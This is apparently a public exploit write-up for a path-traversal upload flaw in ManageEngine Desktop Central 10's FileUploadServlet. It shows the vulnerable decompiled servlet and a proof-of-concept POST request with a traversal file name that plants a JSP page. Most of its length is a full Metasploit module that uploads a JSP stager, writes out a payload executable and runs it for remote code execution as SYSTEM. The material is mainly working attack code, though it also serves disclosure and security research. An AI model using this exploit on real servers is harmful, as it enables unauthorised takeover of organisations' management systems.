When uploading a file, the FileUploadServlet
class does not check the user-controlled fileName
parameter using hasVulnerabilityInFileName
function.
This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.
package com.adventnet.sym.webclient.common;
public class FileUploadServlet extends HttpServlet
{
private Logger logger = Logger.getLogger("RDSLogger");
public static final String RDS_UPLOAD = "rds_file_upload";
public static final String SCRIPT_LOG_UPLOAD = "scriptLog";
public static final String HELPDESK_VIDEO_UPLOAD = "HelpDesk_video";
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String sourceMethod = "FileUploadServlet::doPost";
this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + request.getRemoteHost());
String action = request.getParameter("action");
if ("scriptLog".equals(action)) {
scriptLogUpload(request, response);
} else if ("rds_file_upload".equals(action)) {
rdsScreenUpload(request, response);
} else if ("HelpDesk_video".equals(action)) {
helpDeskVideoUpload(request, response);
}
}
private void helpDeskVideoUpload(HttpServletRequest request, HttpServletResponse response)
{
String sourceMethod = "FileUploadServlet::helpDeskVideoUpload";
try {
String action = request.getParameter("action");
String resourceId = request.getParameter("resourceId");
String compName = request.getParameter("computerName");
long customerId = Long.parseLong(request.getParameter("customerId"));
String videoFileName = request.getParameter("fileName");
Long nDataLength = Long.valueOf(request.getContentLength());
try
{
PrintWriter responsetoAgent = response.getWriter();
if ((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName))) {
this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the helpDeskVideoUpload request from: compName:{0}", new Object[] { compName });
response.sendError(403, "Request Refused");
return;
}
long freeSpace = RDSUtil.getInstance().getServerFreeSpace();
if (nDataLength.longValue() < freeSpace) {
String server_home = DCMetaDataUtil.getInstance().getServerDataDir(Long.valueOf(customerId));
String fs = File.separator;
this.logger.log(Level.FINE, sourceMethod + " -> The server home path is : " + server_home);
String absoluteFileName = server_home + fs + "HelpDesk" + fs + compName + "_" + resourceId;
if (!ApiFactory.getFileAccessAPI().isFileExists(absoluteFileName))
{
ApiFactory.getFileAccessAPI().createDirectory(absoluteFileName);
}
absoluteFileName = absoluteFileName + fs + videoFileName;
String receivedStatus = downloadFile(request, absoluteFileName);
if ("Success".equalsIgnoreCase(receivedStatus)) {
response.setHeader("Upload_Status", receivedStatus);
}
}
else {
this.logger.log(Level.WARNING, sourceMethod + " -> No required Space is availbale to store the video file ");
responsetoAgent.println("Status :1|Msg :No enough sapce in server to save video file|");
}
this.logger.log(Level.INFO, sourceMethod + " -> The method ended ");
} catch (Exception ex) {
response.sendError(500, "Problem while retriving video in server");
this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
}
} catch (Exception ex) {
this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
}
}
private String downloadFile(HttpServletRequest request, String destnAbsoluteFileName)
{
String status = "Success";
Long nDataLength = Long.valueOf(request.getContentLength());
String checkSumValue = request.getParameter("checkSumValue");
try
{
String sourceMethod = "FileUploadServlet::downLoadFile";
InputStream appIn = request.getInputStream();
Thread.sleep(5000L);
OutputStream outputFile = new FileOutputStream(destnAbsoluteFileName);
this.logger.log(Level.INFO, sourceMethod + " -----> Method Starts <-----");
try
{
int numread = 0;
int count = 0;
byte[] bytesread = new byte[262144];
long receivedFileSize = 0L;
this.logger.log(Level.INFO, sourceMethod + " -> Total Received Data length = : " + nDataLength);
while ((appIn != null) && ((numread = appIn.read(bytesread)) != -1)) {
count++;
this.logger.log(Level.FINE, sourceMethod + " -> Going to write the file: count: " + count + " numread :" + numread);
outputFile.write(bytesread, 0, numread);
receivedFileSize += numread;
this.logger.log(Level.FINE, sourceMethod + " -> receivedFileSize: " + receivedFileSize);
}
String checkSum = ChecksumProvider.getInstance().GetMD5HashFromFile(destnAbsoluteFileName);
this.logger.log(Level.INFO, sourceMethod + " Generated checksum value is : " + checkSum);
if ((nDataLength.longValue() != receivedFileSize) || (!checkSum.equals(checkSumValue))) {
status = "Failed";
}
}
catch (Exception e) {
this.logger.log(Level.WARNING, " -> Exception occured while writing file: " + e);
} finally {
outputFile.close();
if (appIn != null) {
appIn.close();
}
}
this.logger.log(Level.INFO, sourceMethod + " -----> Method Ends <-----");
} catch (Exception e) {
this.logger.log(Level.WARNING, " -> Exception occured : " + e);
}
return status;
}
}
Send request:
POST /fileupload?action=HelpDesk_video&computerName=hacked&resourceId=1&fileName=\..\..\..\..\jspf\hack.jsp&customerId=1 HTTP/1.1
Host: localhost:8020
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Connection: close
Content-Length: 29
<%= new String("Hello!") %>
Then visit:
http://localhost:8020/jspf/hack.jsp
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'nokogiri'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
uploading a file, the FileUploadServlet class does not check the user-controlled
fileName parameter. This allows a remote attacker to create a malicious file and place
it under a directory that allows server-side scripts to run,
which results in remote code execution under the context of SYSTEM.
This exploit was successfully tested on version 10, build 100087.
Exploit code based on https://www.exploit-db.com/exploits/38982/
},
'License' => MSF_LICENSE,
'Author' => [ 'Kacper Szurek' ],
'References' =>
[
[ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'ManageEngine Desktop Central 10 on Windows', {} ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "July 24 2017",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
Opt::RPORT(8020)
], self.class)
end
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
def get_jsp_stager
exe = generate_payload_exe(code: payload.encoded)
jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")
{
jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
jsp_name: jsp_fname
}
end
def get_build_number(res)
inputs = res.get_hidden_inputs
inputs.first['buildNum']
end
def get_html_title(res)
html = res.body
n = ::Nokogiri::HTML(html)
x = n.xpath('//title').text
end
def check
uri = normalize_uri(target_uri.path, '/configurations.do')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
unless res
print_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
build_number = get_build_number(res)
if build_number.to_s.empty?
print_error("Cannot find build number")
else
print_status("Found build number: #{build_number}")
end
html_title = get_html_title(res)
if html_title.to_s.empty?
print_error("Cannot find title")
else
print_status("Found title: #{html_title}")
end
if build_number.to_i <= 100087
return Exploit::CheckCode::Appears
elsif /ManageEngine Desktop Central 10/ === html_title
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def upload_jsp(stager_info)
uri = normalize_uri(target_uri.path, 'fileupload')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/octet-stream',
'encode_params' => false,
'data' => stager_info[:jsp_payload],
'vars_get' => {
'action' => 'HelpDesk_video',
'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
'resourceId' => 1,
'customerId' => 1,
'fileName' => "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
}
})
if res.nil?
fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
end
end
def exec_jsp(stager_info)
uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
if res.nil?
fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
end
end
def exploit
print_status("Creating JSP stager")
stager_info = get_jsp_stager
print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
upload_jsp(stager_info)
print_status("Executing stager...")
exec_jsp(stager_info)
end
end